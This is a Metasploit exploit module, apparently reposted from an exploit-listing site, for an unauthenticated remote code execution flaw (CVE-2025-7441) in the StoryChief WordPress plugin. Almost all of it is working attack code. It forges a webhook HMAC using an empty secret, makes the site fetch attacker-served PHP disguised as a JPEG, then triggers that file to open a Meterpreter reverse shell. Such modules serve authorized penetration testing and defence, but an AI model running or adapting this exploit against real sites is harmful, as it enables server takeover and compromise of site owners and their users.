Share
## https://sploitus.com/exploit?id=PACKETSTORM:215915
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HttpServer
      include Msf::Exploit::Remote::HTTP::Wordpress
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WordPress StoryChief Plugin Unauthenticated RCE',
            'Description' => %q{
              This module exploits an unauthenticated arbitrary file upload
              vulnerability in the StoryChief WordPress plugin <= 1.0.42.
    
              The plugin exposes a webhook endpoint at
              /wp-json/storychief/webhook which accepts a forged HMAC.
              Because the plugin uses an empty secret for HMAC validation,
              attackers can compute a valid MAC and force WordPress to
              download and store attacker-controlled PHP content inside
              the uploads directory, resulting in remote code execution.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'xpl0dec', # Original PoC
              'Nayera'   # Metasploit module
            ],
            'References' => [
              ['CVE', '2025-7441'],
              ['EDB', '52422'],
              ['URL', 'https://github.com/Story-Chief/wordpress']
            ],
            'Platform' => ['php'],
            'Arch' => ARCH_PHP,
            'Targets' => [
              ['Automatic Target', {}]
            ],
            'DisclosureDate' => '2025-08-04',
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'PAYLOAD' => 'php/meterpreter/reverse_tcp',
              'WfsDelay' => 15
            },
            'Privileged' => false,
            'Stance' => Msf::Exploit::Stance::Aggressive,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path to WordPress', '/'])
        ])
      end
    
      #
      # Check Method
      #
      def check
        return CheckCode::Safe('WordPress not detected') unless wordpress_and_online?
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief')
        )
    
        unless res && res.code == 200
          return CheckCode::Safe('StoryChief REST namespace not found')
        end
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief', 'webhook'),
          'ctype' => 'application/json',
          'data' => '{"meta":{"mac":"","event":"publish"},"data":{}}'
        )
    
        return CheckCode::Unknown('No response from webhook endpoint') unless res
    
        return CheckCode::Appears('StoryChief webhook endpoint reachable and likely vulnerable') if res.code != 404
    
        CheckCode::Safe('Webhook endpoint returned 404. The plugin may not be installed, permalinks may not be configured, or the target is not vulnerable.')
      end
    
      #
      # Serve malicious PHP payload
      #
      def on_request_uri(cli, _req)
        print_good("Serving malicious payload to #{cli.peerhost}")
    
        php_payload = payload.encoded
    
        send_response(
          cli,
          php_payload,
          'Content-Type' => 'image/jpeg'
        )
    
        close_client(cli)
      end
    
      #
      # Generate JSON body + HMAC
      #
      def generate_signed_body(remote_url)
        body_hash = {
          'meta' => {
            'event' => 'publish'
          },
          'data' => {
            'featured_image' => {
              'data' => {
                'sizes' => {
                  'full' => remote_url
                }
              }
            }
          }
        }
    
        json_body = JSON.generate(body_hash).gsub('/', '\\/')
        signature = OpenSSL::HMAC.hexdigest('sha256', '', json_body)
    
        body_hash['meta']['mac'] = signature
        JSON.generate(body_hash)
      end
    
      #
      # Attempt to trigger uploaded shell
      #
      def trigger_shell(filename)
        now = Time.now
    
        upload_path = normalize_uri(
          target_uri.path,
          'wp-content',
          'uploads',
          now.year.to_s,
          format('%02d', now.month),
          filename
        )
    
        print_status("Attempting to execute uploaded payload at #{upload_path}")
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => upload_path
        )
    
        unless res && res.code == 200
          fail_with(Failure::UnexpectedReply, 'Uploaded payload did not return HTTP 200, execution likely failed')
        end
      end
    
      #
      # Main Exploit
      #
      def exploit
        payload_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"
        register_file_for_cleanup(payload_name)
    
        print_status('Starting local HTTP server for payload hosting')
    
        start_service(
          'Uri' => {
            'Path' => "/#{payload_name}",
            'Proc' => proc { |cli, req| on_request_uri(cli, req) }
          }
        )
    
        payload_url = "#{get_uri.chomp('/')}/#{payload_name}"
        print_status("Payload URL: #{payload_url}")
    
        request_body = generate_signed_body(payload_url)
    
        print_status('Sending malicious webhook request')
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief', 'webhook'),
          'ctype' => 'application/json',
          'data' => request_body
        )
    
        fail_with(Failure::Unreachable, 'No response from target') unless res
    
        unless res.code == 200 && res.body.include?('permalink')
          fail_with(Failure::UnexpectedReply, "Unexpected response (#{res.code})")
        end
    
        print_good('Webhook accepted payload โ€” attempting execution')
    
        trigger_shell(payload_name)
      end
    end